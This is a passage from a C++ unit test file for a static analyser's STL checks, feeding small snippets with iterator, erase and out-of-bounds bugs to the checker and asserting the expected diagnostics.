{\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n 